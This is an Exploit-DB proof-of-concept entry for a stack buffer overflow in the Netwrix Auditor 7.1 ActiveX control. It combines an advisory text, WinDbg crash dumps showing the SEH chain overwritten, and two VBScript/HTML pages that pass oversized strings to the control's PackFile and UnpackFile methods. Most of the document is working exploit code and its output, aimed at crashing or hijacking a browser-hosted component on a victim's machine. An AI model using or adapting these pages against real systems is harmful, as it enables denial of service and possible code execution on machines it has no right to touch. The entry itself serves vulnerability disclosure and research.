Exploit-DB #39565
Description: Netwrix Auditor 7.1.322.0 - ActiveX 'sourceFile' Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2016-03-16
Author: LiquidWorm

Exploit:

Netwrix Auditor 7.1.322.0 ActiveX (sourceFile) Stack Buffer Overflow Vulnerability


Vendor: Netwrix Corporation
Product web page: http://www.netwrix.com
Affected version: 7.1 (Build 322)

Summary: Netwrix Auditor is an IT audit software that maximizes visibility
of IT infrastructure changes and data access. The product provides actionable
audit data about who changed what, when and where and who has access to what.

Desc: The application suffers from a stack-based buffer overflow vulnerability
when parsing large amount of bytes to the 'sourceFile' string parameter in
PackFile() and UnpackFile() functions in 'Netwrix.Common.CollectEngine.dll'
library, resulting in stack overrun overwriting several registers including
the SEH chain. An attacker can gain access to the system of the affected node
and execute arbitrary code.

----------------------------------------------------------------------------
STATUS_STACK_BUFFER_OVERRUN encountered
(1fbc.1470): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=63d7e5b8 ecx=7693047c edx=0040db55 esi=00000000 edi=0072a4ac
eip=7693025d esp=0040dd9c ebp=0040de18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!GetProfileStringW+0x12cc1:
7693025d cc              int     3

--

(1a98.1c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Common Files\Netwrix Auditor\Event Collector\Netwrix.Common.CollectEngine.dll
eax=00000041 ebx=000012b2 ecx=00350000 edx=00000020 esi=00762240 edi=0034dc7c
eip=5dd16895 esp=0034d75c ebp=0034d778 iopl=0         nv up ei pl nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010213
Netwrix_Common_CollectEngine!DllUnregisterServer+0x21725:
5dd16895 668901          mov     word ptr [ecx],ax        ds:002b:00350000=????
0:000> !exchain
0034e51c: 00410041
Invalid exception stack at 00410041
----------------------------------------------------------------------------

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5311
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5311.php


07.12.2015

--


#1

<html>
<object classid='clsid:F45C10B1-AEB6-4D2C-BC17-97749DA1F908' id='acnid' />
<script language='VBScript'>
Target = "C:\Program Files (x86)\Common Files\Netwrix Auditor\Event Collector\Netwrix.Common.CollectEngine.dll"
Prototype = "Sub PackFile (ByVal sourceFile As String, ByVal packedFile As String)"
Member = "PackFile"
ID = "CollectEngineLib.FileCompress"
src = String(2000, "A")
packed = "exploit.zip"
acnid.PackFile src, packed
</script>


#2

<html>
<object classid='clsid:F45C10B1-AEB6-4D2C-BC17-97749DA1F908' id='anida' />
<script language='VBScript'>
Target = "C:\Program Files (x86)\Common Files\Netwrix Auditor\Event Collector\Netwrix.Common.CollectEngine.dll"
Prototype = "Sub UnpackFile (ByVal sourceFile As String, ByVal unpackedFile As String)"
Member = "UnpackFile"
ID = "CollectEngineLib.FileCompress"
src = String(900, "A") + "BB" + "CC" + String(105, "D") + String(100, "EE")
unpack = "exploit.zip"
anida.UnpackFile src, unpack
</script>
</html>